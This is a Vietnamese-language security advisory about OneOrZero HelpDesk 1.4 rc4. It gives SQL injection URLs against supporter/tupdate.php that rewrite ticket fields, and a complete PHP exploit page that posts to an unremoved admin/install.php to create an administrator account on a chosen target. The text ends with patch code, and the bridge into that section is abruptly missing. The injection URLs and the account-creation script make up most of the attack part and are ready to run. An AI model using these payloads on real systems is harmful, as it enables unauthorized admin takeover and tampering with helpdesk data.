Lỗi bảo mật của OneOrZero HelpDesk 1.4 rc4, SQL Injection + Access Admin
trang này đã được đọc lần
Thông tin:
Langage : PHP
Website :
http://www.oneorzero.com/
Version : 1.4 rc4
Vấn đề :
- Injection SQL
- Access Admin
Phát triển:
OneOrZero HelpDesk cũng giống như tên của nó vậy,là một helpdesk và là nơi user
gửi câu hỏi, và chờ nhận câu trả lời. Nó bao gồm khu vực của thành viên và
admin.
Để vạch ra hai lỗi này, ta cần biết cấu trúc của hai table trong file
admin/install.php.
Đầu tiên là $mysql_users_table
là table nơi ghi user vào:
id
int(11),
first_name varchar(60),
last_name varchar(60),
user_name varchar(60),
email varchar(60),
pager_email varchar(255),
password varchar(255),
office varchar(60),
phone varchar(48),
user int(1),
supporter int(1),
admin int(1),
theme varchar(60),
msn varchar(60),
yahoo varchar(60),
icq varchar(60),
lastactive int(60), ,
language varchar(60),
time_offset int(5).
Lỗi đầu
tiên là lỗi injection SQL.
======================
Nó nằm trong file supporter/tupdate.php mà có thể kết nối đến cơ sở dữ liệu.
Ta xem đoạn code sau:
------------------------------------------------------------------
if($groupid == 'change'){
$sql = "UPDATE $mysql_tickets_table set groupid=$sg where id=$id";
$result = $db->query($sql);
}
--------------------------------------------------------------------------
Theo đó ta
có thể chỉnh sửa groupid của bất kỳ ' ticket' nào trong cơ sở dữ liệu. Và ngay
bất kỳ vùng khác của table
$mysql_tickets_table,
ví dụ để thay đổi description, ta chỉ cần gõ một URL như sau:
+http://[target]/supporter/tupdate.php?groupid=change&sg=groupid,descrip
tion='nouvelle%20description'&id=1
thực hiện theo yêu cầu của SQL:
-----------------------------------------------------------------------
UPDATE $mysql_tickets_table set groupid=groupid,description='nouvelle
description' where id=1
-------------------------------------------------------------------------------
và
description của ticket 1 sẽ thay đổi.
Ta có thể làm injection mà không cần dùng ký tự ' or, vì nhờ có hàm MySQL là
char().
Ví
dụ URL sau :
+http://[target]/supporter/tupdate.php?groupid=change&sg=groupid,user=char(97,98,99,100)&id=10
user sẽ thay đổi người gửi ticket 10 trong "abcd".
Một
lỗi khác là dựa trên webmaster.
=========================
OneOrZeren có chứa một giao diện cài đặt trong admin/install.php. File này không
thể tự động remove chính nó khi ta đã cài đặt xong, và không chịu kiểm tra trong
việc tạo tài khoản admin, nếu tài khoản đó được tao ngay lúc đó hay không.
Ta có thể tìm thấy đoạn code này trong file đó luôn:
---------------------------------------------------------------------------------------------
start("Helpdesk Installation", "center");
if($HTTP_POST_VARS['first'] == ''){
showError("first name");
$flag = 1;
}
if($HTTP_POST_VARS['last'] == ''){
showError("last name");
$flag = 1;
}
if($HTTP_POST_VARS['user'] == ''){
showError("user name");
$flag = 1;
}
if($HTTP_POST_VARS['email'] == ''){
showError("email address");
$flag = 1;
}
if($HTTP_POST_VARS['pwd1'] == '' || $HTTP_POST_VARS['pwd2'] == ''){
showError("password");
$flag = 1;
}
if($HTTP_POST_VARS['office'] == ''){
showError("office");
$flag = 1;
}
if (!checkPwd($HTTP_POST_VARS['pwd1'], $HTTP_POST_VARS['pwd2'])){
showError("password");
$flag = 1;
}
if(!validEmail($HTTP_POST_VARS['email'])){
showError("email");
$flag = 1;
}
if($flag == 1){
endit();
exit;
}
[...]
$pwd = md5($HTTP_POST_VARS['pwd1']);
$query = "INSERT IGNORE into $mysql_users_table VALUES(NULL,
'".$HTTP_POST_VARS['first']."', '".$HTTP_POST_VARS['last']."',
'".$HTTP_POST_VARS['user']."', '".$HTTP_POST_VARS['email']."', '', '".$pwd."',
'".$HTTP_POST_VARS['office']."', '".$HTTP_POST_VARS['phone']."', 1, 1, 1,
'default', null, null, null, 0, 'English', '0')";
$db->query($query);
[...]
---------------------------------------------------------------------------------------------
Code này
kiểm tả ngay lúc đầu nếu tất cả thông tin được hoàn thành đầy đủ, nếu địa chỉ
e-mail có thực, và nếu password được chấp nhận, sau đó chèn vào trong table
$mysql_users_table
một user mới có quyền admin .
Phải xác định rõ biến này phải đến từ form POST.
Có vài cách khai thác lỗi này nhưng thường là tạo file PHP:
---------------------------------------------------------------------------------------------
<html>
<head>
<title>OneOrZero</title>
</head>
<body>
<b>
<?
if (!isset($_POST["Submit"])){
?>
<form method="POST" action="<? echo $PHP_SELF; ?>">
Target :<br></b>http://<b> <input type="text" name="target"
value="www.target.com"><br>
Directory/ies : <br><input type="text" name="dir"><br>
Port : <br><input type="text" name="port" value="80"><br>
Password : <br><input type="text" name="password"><br>
UserName : <br><input type="text" name="user"><br>
<br><input type="Submit" name="Submit" value="Create Admin Account">
</form>
<?
}else{
$target = str_replace(Array("http:","/"),"",$target);
$req .= "step=2&first=admin&last=admin&user=$user&pwd1=$password&pwd2=$password
&email=a@a.a&office=abcd";
$header .= "POST /$dir/admin/install.php HTTP/1.1\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Connection: Close\r\n";
$header .= "Host: $target\r\n";
$header .= 'Content-Length: ' . strlen($req) . "\r\n\r\n";
$fp = fsockopen ($target, $port);
$res = "";
if (!$fp) {
echo "Can't connect to http://$target.";
} else {
fputs ($fp, $header . $req);
while (!feof($fp)) {
$res .= fgets ($fp, 1024);
}
fclose ($fp);
}
if (eregi("Administrator Account Created Successfully.",$res)){
echo "Administrator Account Created Successfully : <a
href='http://$target/$dir/admin/control.php'>Click Here To Log In</a>. ";
}else{
die("Administrator Account Hasn't Been Created.");
}
}
?>
</b>
</body>
</html>
---------------------------------------------------------------------------------------------
------------------------------
$timestamp = time();
------------------------------
và thêm phía dưới dòng đó bằng:
-----------------------------------------------------------------------
foreach ($_REQUEST as $key=>$value) {
if (get_magic_quotes_gpc()==0) {
$value = addslashes($value); // This will reproduce the option
magic_quotes_gpc=1
}
$value = str_replace('(','()',$value);
${$key} = $value;
$_REQUEST[$key] = $value;
if (isset($_POST[$key])) { $_POST[$key] = $value; }
if (isset($_COOKIE[$key])) { $_COOKIE[$key] = $value; }
if (isset($_FILE[$key])) { $_FILE[$key] = $value; }
if (isset($_GET[$key])) { $_GET[$key] = $value; }
if (isset($HTTP_POST_VARS[$key])) { $HTTP_POST_VARS[$key] = $value; }
if (isset($HTTP_COOKIE_VARS[$key])) { $HTTP_COOKIE_VARS[$key] = $value; }
if (isset($HTTP_FILE_VARS[$key])) { $HTTP_FILE_VARS[$key] = $value; }
if (isset($HTTP_GET_VARS[$key])) { $HTTP_GET_VARS[$key] = $value; }
}
-----------------------------------------------------------------------
Và trong file admin/install.php, tìm dòng:
---------------
if($step == 2){
---------------
và thêm vào dưới đó
---------------------------------------------------------------
$sql = "SELECT * FROM $mysql_users_table WHERE id > 0";
$result = $db->query($sql);
$num_rows = $db->num_rows($result);
if ($num_rows > 0){
die("<b>OneOrZero Is Already Installed.</b>");
}
---------------------------------------------------------------